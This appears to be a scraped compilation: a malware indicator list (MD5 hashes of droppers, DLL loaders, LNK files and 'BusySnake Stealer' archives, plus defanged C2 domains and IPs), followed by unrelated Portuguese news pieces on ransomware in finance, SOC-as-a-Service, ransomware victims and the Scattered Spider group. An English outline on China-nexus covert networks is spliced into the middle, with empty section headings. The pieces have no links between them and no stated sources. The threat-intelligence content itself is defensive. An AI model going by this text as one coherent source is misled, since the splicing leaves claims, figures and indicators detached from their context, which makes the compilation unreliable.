90378881856ABFA47D7745C0A3EF9DC8 RAR archive with advanced cookie extractor module

1DBA3E505491A260A44C867902C3296E RAR archive with malicious DLL loader

1096268FA2B3D454C86CF851CB782319 EXE dropper
F2AB09D7E7A375A192508A5014AA2EE4 EXE dropper
0041FD1B2358CD08DBCBC28EA8FC3D20 EXE dropper

894332174F536C2E1EFEDA05CBA79F8B DLL loader
78135F72AB148A0CC074F6B2DD51FFF6 DLL loader
07213C419489C02791E8D67B91E404EF DLL loader

393B498F2114CABC0B29D5FCD9DC6723 LNK
CF74AC018D158EA2C2CFA1B1D71D95BC LNK
2DFA1D949872C1B2F04952DD3E5F5D8F LNK

BusySnake Stealer

C7622A1EFFA27BBFEE6D6E03D6474343 PYW BusySnake Stealer
80B7700053E115D65365CE7330383320 New PYW version of BusySnake Stealer
6B45DDB39A6E86229348DCBBA3857E7C RAR archive with BusySnake Stealer
006887732CA4A4A46A97989CF4DEEEF6 RAR archive with BusySnake Stealer
732C31ACF971A81C7E51B2A3DAE82020 RAR archive with BusySnake Stealer
DDFF82A115558584BBD7741D4FFB35B4 RAR archive with BusySnake Stealer
8188B2F347B77D65D08CFB23808AC244 RAR archive with BusySnake Stealer
E2550CFAD9DCC880BF04F6048F90868C RAR archive with BusySnake Stealer
FD2BDD8047ADDEE6FDE2F532DE181BFD RAR archive with BusySnake Stealer

С2

winupdate[.]live
arvax[.]xyz
varenie[.]live
lvl99[.]store
onetoken[.]ink
winupdate[.]ink
grked[.]online
ndrt[.]ink
myboard[.]chickenkiller.com
myboard[.]twilightparadox.com

159.198.41[.]140
159.198.75[.]219
159.198.32[.]222
69.67.173[.]153

O setor financeiro global enfrenta uma crise sem precedentes na segurança digital, onde pagar o resgate de dados sequestrados virou a regra, não a exceção. Nos últimos 12 meses, 79% das instituições financeiras que sofreram ataques cibernéticos optaram por pagar os criminosos para recuperar seus sistemas. O dado alarmante faz parte de um novo estudo da Cohesity, empresa líder em segurança de dados com Inteligência Artificial, que ouviu 390 tomadores de decisão de TI e segurança em grandes corporações da América do Sul, América do Norte, Europa e Ásia.

O levantamento traça um diagnóstico severo sobre a vulnerabilidade do mercado: 77% das empresas financeiras globais já foram vítimas de cibercriminosos, sendo que mais da metade (57%) foi alvo de investidas apenas no último ano. O impacto financeiro e reputacional é quase inevitável, com 87% das organizações registrando perdas diretas de receita e 93% enfrentando severas consequências regulatórias ou legais após as invasões.

Apesar do cenário de terra arrasada, a pesquisa revela uma desconexão preocupante entre a realidade dos ataques e a percepção de segurança das lideranças. O cenário atual exige uma mudança profunda de postura, já que as ameaças deixaram de ser eventos isolados para se tornarem uma constante no ambiente digital, com frequência e sofisticação cada vez maiores.

• Confiança em alta: Mesmo com uma em cada quatro empresas sendo atacada repetidamente, 46% dos entrevistados afirmam ter total confiança em suas estratégias de resiliência.
• O fator IA: A Inteligência Artificial surge como a grande aposta de defesa para 39% dos executivos, que acreditam que a tecnologia assumirá um papel central na detecção de ameaças e na tomada de decisões autônomas, otimizando a eficiência das equipes internas e do SOC (Security Operations Center) na resposta a incidentes.

A Estratégia da Sobrevivência: Organização Mínima Viável (MVC)

Diante do consenso de que é praticamente impossível blindar as empresas contra todos os tipos de ameaças, o mercado financeiro passou a adotar uma nova filosofia de sobrevivência: o conceito de Minimum Viable Company (MVC), ou Organização Mínima Viável.

Em vez de gastar energia e tempo tentando reerguer toda a infraestrutura tecnológica de uma só vez após um apagão cibernético, o foco da estratégia MVC muda drasticamente. A prioridade máxima passa a ser a recuperação estritamente essencial. O objetivo é colocar de pé a menor versão funcional possível da empresa, garantindo que o negócio continue operando (mesmo que de forma limitada ou sob condições degradadas) até que a crise seja totalmente controlada.

Medidas Práticas: O Caminho para a Resiliência

Para enfrentar o aumento dessas ameaças, viabilizar a estratégia de MVC e reduzir vulnerabilidades críticas, a Clavis Segurança da Informação destaca medidas prioritárias, com foco no SOC, voltadas à proteção e rápida recuperação do ambiente digital corporativo:

Treinamento de Colaboradores: A capacitação contínua transforma o elo mais fraco em defesa activa, reduzindo drasticamente a eficácia de ataques de phishing e engenharia social.

Controle de Identidade: A adoção de Autenticação Multifator (MFA) é a barreira mais eficiente para impedir que credenciais roubadas permitam o acesso indevido a dados sensíveis.

Monitoramento e Auditoria: O acompanhamento em tempo real permite detectar anomalias rapidamente, enquanto auditorias frequentes corrigem vulnerabilidades antes que sejam exploradas por criminosos.

Automação de Segurança: O uso de ferramentas automatizadas acelera a resposta a incidentes e reduz a janela de exposição de falhas críticas, que pode superar 55 dias.

Backup e Recuperação: Manter cópias de segurança isoladas e planos de recuperação testados garante a continuidade do negócio e protege a empresa contra extorsões digitais.

A segurança de redes corporativas consolida-se como um pilar indispensável para a estabilidade e o crescimento sustentável no mercado brasileiro. Com ameaças cada vez mais ágeis e onerosas, investir em um ecossistema que integre soluções tecnológicas, processos automatizados e conscientização humana deixa de ser uma demanda técnica para se tornar um diferencial competitivo estratégico.

A Strategic Shift in China-Nexus TTPs 

How Covert Networks Operate 

Real-World Examples and Scale 

Challenges for Network Defenders 

Defensive Measures and Best Practices 

For all organizations: 

• Maintain a clear inventory of network edge devices. 

• Establish baselines for normal network activity, particularly VPN access. 

• Monitor for unusual connections, including those from consumer broadband ranges. 

• Use dynamic threat intelligence feeds. 

• Implement multi-factor authentication for remote access. 

For higher-risk organizations: 

• Use IP allow lists instead of blocklists for VPN access. 

• Apply geographic and behavioral profiling of incoming connections. 

• Adopt zero-trust security models. 

• Enforce SSL machine certificates. 

• Reduce exposure of internet-facing systems. 

• Explore machine learning tools to detect anomalies. 

For the most at-risk entities: 

• Treat China-Nexus covert networks as advanced persistent threats (APTs). 

• Conduct active threat hunting for suspicious IP activity. 

• Map and monitor known covert networks using threat intelligence. 

Neste ano, o Brasil sofreu mais de 315 bilhões de tentativas de ataque cibernético apenas no primeiro semestre — número que representa cerca de 84% de todo o tráfego malicioso registrado na América Latina no período, de acordo com um levantamento da Fortinet divulgado em agosto passado. Com adversários fazendo uso crescente de IA para conduzir campanhas de phishing, ataques DDoS e exploração de vulnerabilidades em ambientes híbridos e multicloud, líderes de segurança corporativa se veem diante de uma encruzilhada: manter o SOC (Security Operations Center) da forma como está ou apostar em novas tecnologias e formas de trabalho que respondam à nova realidade.

Grupos criminosos adotam táticas avançadas e combinam técnicas de Advanced Persistent Threat (APT) com ferramentas de IA para driblar as defesas tradicionais. Golpes que envolvem deepfakes ou phishing automatizado por IA tornam cada vez mais difícil distinguir o legítimo do malicioso. Ao mesmo tempo, a superfície de ataque das organizações se expandiu dramaticamente. Com ambientes de TI híbridos e multicloud, centenas de novos serviços e integrações são adicionados constantemente aos ecossistemas corporativos, abrindo brechas que muitas vezes são difíceis de monitorar.

O problema é que grande parte dos SOCs atuais foi concebida para um contexto em que as ameaças eram baseadas em assinatura e o volume de eventos era controlável. Hoje, porém, a multiplicação de fontes de telemetria, tais como endpoints, nuvens, APIs, identidades, dispositivos IoT e aplicações SaaS, faz com que o volume de logs cresça de forma exponencial.

Não se trata apenas de mais dados, mas de dados de naturezas distintas, com diferentes formatos, níveis de granularidade e relevância operacional. Ferramentas modernas de detecção e monitoramento, como EDRs, XDRs e soluções de observabilidade, coletam informações em tempo real e geram fluxos contínuos de telemetria que precisam ser correlacionados com ameaças conhecidas e comportamentos anômalos. Sem uma arquitetura de dados e automação adequadas, esse ecossistema torna-se difícil de orquestrar – e o SOC passa a lidar menos com ruído e mais com complexidade analítica. O desafio, portanto, deixou de ser filtrar falsos positivos e passou a ser transformar grandes volumes de logs em inteligência acionável com velocidade e contexto.

E, quando os adversários passam a empregar IA para criar malwares praticamente indetectáveis, um SOC calcado apenas em esforço humano não consegue escalar na mesma proporção do risco. O resultado é um descompasso perigoso entre a capacidade defensiva e a velocidade com que as ameaças modernas atuam, evidenciando que manter o status quo não é mais sustentável.

Uma das principais transformações em curso é a adoção do modelo de SOC as a Service, que redefine a forma como as empresas estruturam sua defesa cibernética. Diferente do modelo híbrido ou totalmente interno, o SOCaaS oferece monitoramento, detecção e resposta a incidentes 24×7 por meio de uma plataforma escalável e baseada em nuvem, administrada por especialistas em cibersegurança.

Esse formato elimina a necessidade de manter infraestrutura local pesada e reduz o tempo de implantação, ao mesmo tempo em que garante acesso contínuo a tecnologias e analistas altamente especializados.

Ao integrar telemetria proveniente de múltiplas camadas, o SOC as a Service consolida os eventos em um único datalake de análise, aplicando correlação e contextualização automatizadas com apoio de SOAR e machine learning. Assim, os alertas deixam de ser tratados de forma isolada e passam a compor narrativas completas de ataque, permitindo uma visão tática e antecipada das ameaças.

Essa automação nativa reduz drasticamente o tempo médio de detecção (MTTD) e o tempo médio de resposta (MTTR), pontos críticos para conter ataques modernos que podem se propagar em minutos.

Outro benefício do modelo é a atualização contínua da inteligência de ameaças. Fornecedores de SOCaaS normalmente operam com bases globais de threat intelligence, alimentadas por fontes de ciberinteligência regionais e internacionais.

Essa atualização constante amplia a visibilidade sobre novas campanhas maliciosas, técnicas de exploração e indicadores de comprometimento (IoCs), garantindo que o ambiente corporativo permaneça protegido mesmo diante de vetores inéditos. Ao mesmo tempo, as plataformas de SOCaaS modernas integram recursos de análise comportamental (UEBA) e aprendizado contínuo, permitindo identificar padrões anômalos e prevenir movimentos laterais antes que evoluam para incidentes graves.

Mais do que uma modernização tecnológica, a adoção de modelos de SOC as a Service representa um novo paradigma de defesa cibernética. O CISO que ainda vê o SOC apenas como um centro de monitoramento precisa agora encará-lo como um núcleo de inteligência e antecipação, sustentado por automação, correlação de dados e aprendizado de máquina.

Os ataques de ransomware estão longe de desacelerar. No último ano, foram registradas 11.796 vítimas diretas desse tipo de ciberataque ao redor do mundo, 1,3 vítimas por hora, segundo dados do BTTng da Apura Cyber Intelligence, plataforma de inteligência em ameaças cibernéticas. O impacto vai além dos números: empresas paralisadas, serviços essenciais comprometidos e milhões de pessoas expostas a riscos iminentes.

A onda de ataques abrange qualquer empresa de todos os segmentos, desde a saúde até os serviços públicos. Em maio passado, a Ascension Healthcare, uma das maiores operadoras de saúde dos EUA, foi alvo de um ataque cibernético que comprometeu sistemas críticos, incluindo registros médicos e comunicação interna. Hospitais ficaram sem acesso a informações essenciais por semanas, forçando equipes a recorrerem a procedimentos manuais. “Isso gerou riscos reais, com erros relatados no Kansas e em Detroit, que poderiam ter resultado em graves consequências médicas”, explica Anchises Moraes, Especialista de Theat Intel da Apura.

A Ascension não divulgou oficialmente o grupo por trás do ataque, mas investigações apontam para o Black Basta. Sete dos vinte e cinco mil servidores foram comprometidos, e 5,6 milhões de indivíduos receberam notificações sobre o possível vazamento de dados.

No Brasil, a TOTVS foi alvo do grupo BlackByte, com relatos de que dados da empresa foram acessados. A companhia informou seus acionistas, garantindo a continuidade dos serviços, mas sem dissipar completamente a incerteza. Já a Sabesp sofreu um ataque do grupo RansomHouse, que não apenas roubou dados, mas também os publicou posteriormente.

O futuro dos ataques: alvos menores, impactos maiores

Se antes os criminosos miravam grandes corporações exigindo valores exorbitantes, a tendência é que ataques menores, porém em massa, ganhem força em todo o mundo, incluindo o Brasil. Pequenas e médias empresas se tornaram alvos fáceis, já que possuem menos recursos para segurança e maior propensão a pagar resgates. “Elas têm mais dificuldade em recuperar dados roubados ou encriptados, tornando-se presas ideais para esses criminosos”, alerta Anchises.

A expansão internacional do grupo de cibercriminosos conhecido como Scattered Spider acendeu um sinal de alerta entre empresas latino-americanas. Especialistas em segurança apontam que, embora não haja registros confirmados de ataques desse grupo no Brasil ou vizinhos até o momento, seu alcance global e métodos sofisticados representam um risco iminente para organizações na região.

Com táticas de engenharia social elaboradas e capacidade de driblar defesas tradicionais, o Scattered Spider tem mirado grandes empresas em diversos países. “A questão não é mais ‘se’ seremos atacados, mas de ‘quando’ e ‘como’, afirma Felipe Guimarães, Chief Information Security Officer da Solo Iron. “As táticas empregadas pelo grupo exploram fragilidades universais, presentes em empresas em todo o mundo – o que inclui as empresas latino-americanas”, pondera o especialista.

Um dos maiores riscos é que os setores visados pelo Scattered Spider no exterior também são pilares econômicos na América Latina. O grupo historicamente focou suas ações em empresas de telecomunicações, terceirização de processos de negócios (BPO) e grandes empresas de tecnologia – indústrias que possuem ampla presença na região. Nos últimos tempos, foi observado um aumento de interesse do grupo pelo setor financeiro global, o que inclui bancos e instituições presentes no Brasil e países vizinhos.

“Isso significa que companhias latino-americanas, seja diretamente ou através de filiais e parceiras, podem entrar na mira à medida que o Scattered Spider amplia seu raio de atuação. Mesmo empresas que não operam internacionalmente devem se precaver, pois os criminosos podem enxergar organizações locais como pontes de entrada para fornecedores ou clientes globais, ou simplesmente como alvos lucrativos por si sós, caso identifiquem falhas de segurança exploráveis”, pontua Guimarães.

Na mira das agências de inteligência

Relatórios do FBI e da Agência de Segurança Cibernética e de Infraestrutura (CISA) dos EUA descrevem o Scattered Spider como “especialista em engenharia social”, empregando diversas técnicas para roubar credenciais e burlar autenticações.

Entre os métodos documentados estão phishing por e-mail e SMS (smishing), ataques de vishing (ligações telefônicas fraudulentas) em que os criminosos se passam por equipe de TI da própria empresa, e até esquemas elaborados de SIM swap – quando convencem operadoras de telefonia a transferir o número de celular de uma vítima para um chip sob controle deles. Essas táticas permitem interceptar códigos de autenticação multifator (MFA) enviados via SMS ou aplicativos, dando aos invasores as chaves para acessar sistemas internos.

Alguns incidentes recentes no cenário latino-americano já envolveram vetores parecidos, como uso de ferramentas legítimas em ataques e exploração de credenciais vazadas, o que reforça a necessidade de vigilância. Em 2024, por exemplo, houve casos de gangues de ransomware operando na região que abusaram de softwares legítimos e brechas em procedimentos internos de empresas, aplicando práticas muito similares ao do Scattered Spider.

Estratégias de mitigação

Diante da crescente ameaça representada por grupos como o Scattered Spider, Guimarães recomenda a adoção de estratégias com foco especial em fortalecer métodos avançados de autenticação multifator (MFA), preferencialmente resistentes a phishing, como chaves físicas de segurança ou soluções baseadas em certificados digitais. Técnicas como MFA com validação numérica e a restrição do uso de SMS para autenticação são essenciais para reduzir o risco de engenharia social e ataques por fadiga de notificações, muito usados pelo grupo.

Além disso, a adoção de uma abordagem mais robusta em relação à gestão de identidades e acessos (IAM) é uma estratégia muito importante na contenção desse tipo de ameaça. “As identidades digitais estão se tornando uma nova superfície de ataque; por isso, é fundamental que as empresas implementem políticas rígidas de gestão de identidades, controle granular de acessos e monitoramento contínuo das atividades dos usuários”, destaca.

“Também é muito importante o controle rigoroso sobre ferramentas de acesso remoto e a implantação de monitoramento avançado. É recomendável que as organizações restrinjam o uso dessas ferramentas por meio de listas autorizadas e adotem sistemas robustos como EDR e DLP para identificar rapidamente atividades suspeitas”, finaliza o especialista.